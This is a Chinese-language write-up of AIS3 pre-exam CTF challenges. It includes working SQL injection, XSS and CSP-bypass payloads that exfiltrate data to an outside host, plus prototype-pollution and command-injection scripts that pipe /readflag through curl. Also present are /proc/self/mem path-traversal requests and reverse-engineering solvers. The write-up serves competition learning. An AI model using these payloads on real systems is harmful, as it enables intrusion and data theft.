Pre-exam 的上個禮拜去韓國打了 Hacktheon Sejong

但比賽太通靈了所以我就不寫了

這次 Pre-exam 得到第五名,如果沒有因為玩王國之淚而比別人晚一天打應該能第一

Web

Login Panel

/login 可以 SQLI

app.post('/login', recaptcha.middleware.verify, (req, res) => {
    const { username, password } = req.body
    db.get(`SELECT * FROM Users WHERE username = '${username}' AND password = '${password}'`, async (err, row) => {
    ...

登入成 admin 之後直接到 /dashboard 就能看到 flag 了

app.get('/dashboard', (req, res) => {
    if (req.session.username) {
        return res.render('dashboard', {
            username: req.session.username,
            flag: FLAG
        })
    }

AIS3{‘ UNION SELECT 1, 1, 1, 1 WHERE ({condition})–}

E-Portfolio baby

/share 有地方可以 xss,並且 /api/portfolio 可以拿到自己的密碼

about.innerHTML = data.data.about

payload:

<img src=# onerror='fetch("/api/portfolio").then(res=>res.json()).then(res=>fetch("https://bot.itiscaleb.com",{method:"POST",body:JSON.stringify(res)}))'>

AIS3{<img src=x onerror=’fetch(…}

E-Portfolio

跟上一題一樣,不過 /share 的地方多了 dompurify,同時加了很嚴格的 CSP

default-src 'none'; 
script-src 'nonce-${nonce}' https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js https://*.googletagmanager.com https://*.google.com https://*.gstatic.com https://cdnjs.cloudflare.com/ajax/libs/dompurify/ https://w3c.github.io/trusted-types/ https://*.clarity.ms https://c.bing.com ; 
style-src https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css 'unsafe-inline';
connect-src 'self' https://*.google-analytics.com https://*.analytics.google.com https://*.googletagmanager.com https://*.clarity.ms https://c.bing.com ;
img-src 'self' blob: data: https://*.google-analytics.com https://*.googletagmanager.com https://*.clarity.ms https://c.bing.com ; \
frame-src https://*.google.com https://*.gstatic.com ;
base-uri 'none' ;
require-trusted-types-for 'script' ;
trusted-types default dompurify recaptcha goog#html ;

網站允許你可以上傳 SVG,所以可以直接放 <script> tag
但是由於他有加 nonce 所以基本上是沒辦法直接執行的
不過因為他允許來自 https://*.google.com 的 JS,所以我可以使用 JSONP

<svg xmlns="http://www.w3.org/2000/svg">
  <script href="https://accounts.google.com/o/oauth2/revoke?callback=fetch('/api/portfolio').then(function (res){return res.json()}).then(function (res){location.href='https://bot.itiscaleb.com?flag='%2bres.data.password})">
    
  </script>
</svg>

AIS3{<script href=”https://accounts.google.com/o/oauth2/revoke?callback=fetch('/api/portfolio');"></script>}

markToFiles

這題基本上就是閱讀文檔
題目本身是用 pandoc 把你的內容從 Markdown 轉成你要的格式
查閱 pandoc 本身的文檔可以發現轉成 EPUB 之類的格式可以直接把 local file 載入到圖片裡

Several output formats (including RTF, FB2, HTML with –self-contained, EPUB, Docx, and ODT) will embed encoded or raw images into the output file. An untrusted attacker could exploit this to view the contents of non-image files on the file system. (Using the –sandbox option can protect against this threat, but will also prevent including images in these formats.)

內容輸入 ![img](/flag){externel1=1} ,並且目標格式設成 epub 就好了

AIS3{R3@d1ng_D0cum3nt_1s_H31pfu1}

markToFiles-Revenge

接續上一題,這次可以讓用戶輸入檔名,相對的會對使用者提供的格式做檢查
觀察題目可以看到

const content = req.body.comment
const exportType = req.body.options
const title = req.body.title
const hash = content.substring(0, 10)
if (!(exportType in OutputFormat)) {
    return res.json({message: 'format not found'})
}

以及

cache[exportType][hash] = req.body.title

非常明顯就是 Prototype Pollution 的題目
同時在 pandoc 的文檔也有寫到如果目標格式是以 lua 結尾的檔案的話,就會把那個 lua 檔案當成自定義的 writer 來執行

所以步驟如下

  1. 上傳 lua 腳本
  2. 使用 Prototype Pollution 讓 OutputFormat 可以找到我 lua 腳本的路徑
  3. exportType 設成 lua 腳本的路徑讓他可以執行
import requests
host = "http://chals1.ais3.org"
port = "10295"
url = f'{host}:{port}/api/generate'
lua = "z.lua"
requests.post(url,json={
    "comment":'''
    os.execute('/readflag|curl -X POST'..
      ' --data-binary @- https://bot.itiscaleb.com');
    ''',
    "options":"plain",
    "title":lua
})
requests.post(url,json={
    "comment":f"/tmp/{lua}",
    "options":"__proto__",
    "title":"haha"
})

requests.post(url,json={
    "comment":"12345",
    "options":f"/tmp/{lua}",
    "title":"haha"
})

AIS3{Pr0t0typ3_P0llut10n_R3v3ng3!!!!!}

Gitly

splitline 一直在 DC 說這題是水題,而這題也的確是水題

題目本身就是 Gitly 而已
直接去他的 repo 找就很多 Command Injection

我是用他 /new 的 endpoint
他會使用 clone_url 去確認是不是有效的 repo,但其實只要回傳回來的東西有 service=git-upload-pack 就可以通過了
最後直接把 clone_url 當成 git 的參數執行

clone_url=https%3A%2F%2Fbot.itiscaleb.com#";/readflag|curl%20-X%20POST%20--data-binary%20@-%20https://bot.itiscaleb.com;echo

AIS3{so_many_bugs_so_easy_to_rce}

Reverse

Simply Reverse

在 binary 裡可以找到一串 bytes
然後就是去比對經過加密的輸入符不符合這串 bytes
寫個腳本爆破就好了

encrypted = [0x8a, 0x50, 0x92, 0xc8, 0x06, 0x3d, 0x5b, 0x95,
            0xb6, 0x52, 0x1b, 0x35, 0x82, 0x5a, 0xea, 0xf8,
            0x94, 0x28, 0x72, 0xdd, 0xd4, 0x5d, 0xe3, 0x29,
            0xba, 0x58, 0x52, 0xa8, 0x64, 0x35, 0x81, 0xac,
            0x0a, 0x64 ]
for i in range(len(encrypted)):
    for a in range(0x20,0x7f):
        d = ((((a ^ i) >>(8 - ((i ^ 9) & 3) & 0x1f)) |
               ((a ^ i) << ((i ^ 9) & 3))) + 8) & 0xFF
        if d == encrypted[i]:
            print(chr(a),end='')

AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}

Flag Sleeper

同樣也是一串 data
裡面 check flag 的方法就是

char *input = argv[1];
for(int i=0;i<52;i++){
    int i = rand();
    if input[data[i]] != data[i+0x34]^data[i+0x68]
        exit(0);
}

所以照著弄就好了

data = [10, 12, 28, 7, 38, 31, 47, 44, 42, 
        35, 48, 30, 21, 11, 17, 16, 34, 40, 
        33, 39, 41, 9, 22, 4, 6, 20, 19, 46, 
        23, 45, 26, 0, 15, 3, 8, 43, 14, 5, 
        2, 27, 49, 1, 51, 36, 37, 24, 25, 50, 
        32, 13, 29, 18, 212, 232, 164, 28, 
        253, 132, 194, 47, 46, 150, 96, 216,
        121, 216, 140, 164, 49, 219, 147, 
        252, 201, 28, 9, 188, 155, 79, 133,
        255, 104, 20, 87, 64, 147, 143, 68, 
        147, 142, 96, 165, 244, 62, 58, 119, 
        25, 61, 56, 71, 182, 7, 37, 1, 154, 237,
        217, 212, 40, 149, 219, 165, 112, 29, 241, 
        8, 189, 13, 224, 211, 149, 5, 184, 255, 207, 162, 
        122, 86, 199, 170, 122, 240, 206, 9, 102, 102, 1, 
        163, 188, 119, 225, 239, 3, 246, 153, 9, 115, 10, 70, 94, 103, 52, 137, 97, 29, 109,208]
f = [None] * 0x34
for i in range(0x34):
    f[data[i]] = data[i+0x34]^data[i+0x68]
s = ''.join(chr(x) for x in f)

print(s)

AIS3{c143f9818a01_Ju5t_a_s1mple_fl4g_ch3ck3r_r1gh7?}

Vivid Emotion

反編譯後可以找到 333 個 check 函式
裡面都是什麼 return input[a] + input [b] = 0x123 之類的
我是用 Ghidra script 把這些東西全都弄下來,處理過後使用 numpy 來解線性代數
最後把解出來的東西丟進他提供的 flag-decryptor.py 後 flag 就出來了

AIS3{OuO_Hope_th1s_ch4l1eng3_gIve_y0u_viv1d_em0Tions!_(ฅ^・ω・^ ฅ)}

AIS3 ransomware

執行執行檔後,會出現 node.exeobfransom.js
接著再使用 node obfransom.js 來把在 target_ais3 裡的東西加密
而打開 obfransom.js 會發現裡面都是被混淆過的 js

解混淆後會找到

var args = process.argv.slice(2);
if (args.length > 0) {
  var key = args[0];
}
...
if (data.includes("AIS3")) {
      data += "AIS3AIS3AIS3AIS3AIS3";
      let result = Buffer.from(encode(key, data)).toString("base64");
...

所以我們還需要再找到他使用的 key

我的方法是先找到 ShellExecute 的記憶體位置
然後使用 debugger 在那個地方下斷點
最後就可以找到 ShellExecuteInfo 裡面的東西,也就是可以找到他使用的參數
有了 key 之後就能直接爆破了

let key = "84deed9f24187e643e639bc6383ba0c1"
let flag = "AIS3{"

fs.readFile("./target_ais3/flag.txt.ais3", "utf8", (err, data) => {
    if (err) {
      return;
    }
    let encflag = Buffer.from(data,'base64')
    for(let i=0;i<encflag.length;i++){
        for(let j=0;j<256;j++){
            let tmp = flag+String.fromCharCode(j)
            let enc = Buffer.from(encode(key, tmp))
            if(encflag.includes(enc)){
                flag = tmp;
                break
            }
        }
    }
    console.log(flag);
  });

AIS3{a_ransomware_targeting_files_related_to_AIS3}

EERT-1

反編譯的程式碼大概是下列這樣
copy_right_btree_to_arr 除了複製 binary tree 的根及右子樹的東西到陣列以外,還會把最後一項設成 0

int arr[53];
bnode_t* root;
init_bnode(root);
btree_add(root,0xbeef);
for(int i=0;i<100;i++){
    int num, ins;
    scanf("%d",ins);
    if(ins == 0xaa){
        scanf("%d",&num);
        btree_add(root,num);
    }else if(ins == 0xbb)
        break;
}
copy_right_btree_to_arr(root,arr);
i = 0;
int sum = 0;
while(data[i]!=0)
    sum += data[i];
if (sum == 0x27d0c)
    print_flag();

也就是說只要讓 binary tree 根及右子樹的東西加起來是 0x27d0c 就可以得到 flag 了

from pwn import *
host = "chals1.ais3.org"
port = 31337
r = remote(host,port)
r.sendline(b'170') #0xaa
r.sendline(b'114205') #0x27d0c - 0xbeef
r.sendline(b'187') #0xbb

r.interactive()

AIS3{Just_A-B1n@ry_Tr33333}

Misc

Media Server

這題其實應該放在 Web 的才對
這題的 HTTP server 使用的是 Python 的 BaseHTTPRequestHandler
並且提供了一個 endpoint do_media 可以讀檔案
上次的 EOF 我就知道 do_ 後面加上 HTTP method 就可以打到對應的 endpoint
do_media 除了單純讀寫檔案之外也提供分段讀檔案的功能
/flag 被設了權限所以不能直接讀

do_GET 則是要 self.path == secret_path,他才會執行 /readflag

secret_path 的宣告是這樣 secret_path = "/flag_" + os.urandom(16).hex(),也就是說 secret_path 只存在於記憶體裡

在網路上查一查其實可以查到類似的題目
步驟就是

  1. 把本地端的服務架起來
  2. 透過 id() 來找到 secret_path 的記憶體位置
  3. /proc/self/map 來獲取 process 的記憶體分區,並且找到secret_path 在哪個分區
  4. 知道以後,就可以讀 remote 的 /proc/self/map 並找到相對應的分區
  5. 最後透過服務提供的分段讀取功能來讀 /proc/self/mem,就可以找到 secret_path
media /media/../../../proc/self/map HTTP/1.1
Host: chals1.ais3.org:25519

media /media/../../../proc/self/mem HTTP/1.1
Host: chals1.ais3.org:25519
Range: bytes=140535097741312-140535100862464

AIS3{arbitrary_memory_read_as_a_service}

結語

王國之淚真好玩